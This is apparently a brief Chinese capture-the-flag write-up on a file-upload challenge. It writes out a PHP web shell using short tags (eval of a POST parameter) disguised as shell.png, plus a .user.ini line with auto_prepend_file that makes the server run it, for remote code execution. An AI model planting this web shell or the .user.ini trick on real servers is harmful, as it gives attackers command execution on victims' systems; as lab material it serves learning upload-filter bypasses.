目录 思路总结 思路 其他和上题一样,发现这次不能通过改变大小写来绕过了,可以用短标签 shell.png <? echo 123;eval($_POST['cmd']); ?> .user.ini auto_prepend_file=shell.png 访问upload,执行rce 总结 …